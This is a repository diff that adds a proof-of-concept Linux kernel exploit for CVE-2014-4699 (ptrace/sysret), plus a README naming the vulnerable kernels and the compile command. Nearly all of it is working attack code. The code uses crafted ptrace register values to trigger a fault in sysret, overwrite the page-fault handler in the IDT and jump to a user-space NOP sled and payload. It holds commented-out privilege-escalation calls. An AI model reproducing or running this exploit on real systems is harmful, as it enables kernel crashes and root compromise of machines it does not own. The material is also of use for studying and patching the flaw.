CVE-2014-4699

Author: Gitmaninc

Diff for: CVE-2014-4699/34134.c

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+/**
+ * CVE-2014-4699 ptrace/sysret PoC
+ * by Vitaly Nikolenko
+ * [email protected]
+ *
+ * > gcc -O2 poc_v0.c
+ *
+ * This code is kernel specific. On Ubuntu 12.04.0 LTS (3.2.0-23-generic), the
+ * following will trigger the #GP in sysret and overwrite the #PF handler so we
+ * can land to our NOP sled mapped at 0x80000000.
+ * However, once landed, the IDT will be trashed. We can either attempt to
+ * restore it (then escalate privileges and execute our shellcode) or find
+ * something else to overwrite that would transfer exec flow to our controlled
+ * user-space address. Since 3.10.something, IDT is read-only anyway. If you
+ * have any ideas, let me know.
+ */
+ 
+#include <stdio.h>
+#include <stdint.h>
+#include <assert.h>
+#include <sys/ptrace.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <sys/syscall.h>
+#include <sys/user.h>
+#include <unistd.h>
+#include <sys/mman.h>
+#include <errno.h>
+
+#define SIZE  0x10000000
+
+typedef int __attribute__((regparm(3))) (*commit_creds_fn)(unsigned long cred);
+typedef unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred_fn)(unsigned long cred);
+
+unsigned long __user_cs;
+unsigned long __user_ss;
+unsigned long __user_rflags;
+
+void __attribute__((regparm(3))) payload() {
+	uint32_t *fixptr = (void*)0xffffffff81dd70e8;
+	// restore the #PF handler
+	*fixptr = -1;
+	//commit_creds_fn commit_creds = (commit_creds_fn)0xffffffff81091630;
+	//prepare_kernel_cred_fn prepare_kernel_cred = (prepare_kernel_cred_fn)0xffffffff810918e0;
+	//commit_creds(prepare_kernel_cred((uint64_t)NULL));
+
+	//__asm__ volatile ("swapgs\n\t"
+	//		  "...");
+}
+
+int main() {
+	struct user_regs_struct regs;
+	uint8_t *trampoline, *tmp;
+	int status;
+
+	struct {
+		uint16_t limit;
+		uint64_t addr;
+	} __attribute__((packed)) idt;
+
+        // MAP_POPULATE so we don't trigger extra #PF
+	trampoline = mmap(0x80000000, SIZE, 7|PROT_EXEC|PROT_READ|PROT_WRITE, 0x32|MAP_FIXED|MAP_POPULATE|MAP_GROWSDOWN, 0,0);
+	assert(trampoline == 0x80000000);
+	memset(trampoline, 0x90, SIZE); 
+        tmp = trampoline;
+        tmp += SIZE-1024;
+        memcpy(tmp, &payload, 1024);
+	memcpy(tmp-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf", 13);
+
+	pid_t chld;
+
+        if ((chld = fork()) < 0) {
+		perror("fork");
+		exit(1);
+	}
+	
+	if (chld == 0) { 
+		if (ptrace(PTRACE_TRACEME, 0, 0, 0) != 0) {
+			perror("PTRACE_TRACEME");
+			exit(1);
+		}
+		raise(SIGSTOP);
+		fork();
+		return 0;
+	}
+
+	asm volatile("sidt %0" : "=m" (idt));
+	printf("IDT addr = 0x%lx\n", idt.addr);
+
+	waitpid(chld, &status, 0);
+
+	ptrace(PTRACE_SETOPTIONS, chld, 0, PTRACE_O_TRACEFORK); 
+
+	ptrace(PTRACE_CONT, chld, 0, 0);
+
+	waitpid(chld, &status, 0); 
+
+        ptrace(PTRACE_GETREGS, chld, NULL, &regs);
+	regs.rdi = 0x0000000000000000;
+	regs.rip = 0x8fffffffffffffff;
+	regs.rsp = idt.addr + 14*16 + 8 + 0xb0 - 0x78;
+
+	// attempt to restore the IDT
+	regs.rdi = 0x0000000000000000;
+	regs.rsi = 0x81658e000010cbd0;
+	regs.rdx = 0x00000000ffffffff;
+	regs.rcx = 0x81658e000010cba0;
+	regs.rax = 0x00000000ffffffff;
+	regs.r8  = 0x81658e010010cb00;
+	regs.r9  = 0x00000000ffffffff;
+	regs.r10 = 0x81668e0000106b10;
+	regs.r11 = 0x00000000ffffffff;
+	regs.rbx = 0x81668e0000106ac0;
+	regs.rbp = 0x00000000ffffffff;
+	regs.r12 = 0x81668e0000106ac0;
+	regs.r13 = 0x00000000ffffffff;
+	regs.r14 = 0x81668e0200106a90;
+	regs.r15 = 0x00000000ffffffff;
+
+        ptrace(PTRACE_SETREGS, chld, NULL, &regs);
+
+	ptrace(PTRACE_CONT, chld, 0, 0);
+
+	ptrace(PTRACE_DETACH, chld, 0, 0);
+}

Diff for: CVE-2014-4699/README.md

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+# CVE-2014-4699
+
+CVE-2014-4699
+
+Vulnerability reference:
+ * [CVE-2014-4699](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-4699)  
+ * [exp-db](https://www.exploit-db.com/exploits/34134/)  
+
+## Kernels
+```
+before 3.15.4
+```   
+
+## Usage
+```
+$ gcc -O2 poc_v0.c
+
+```  
+
+
+
+
+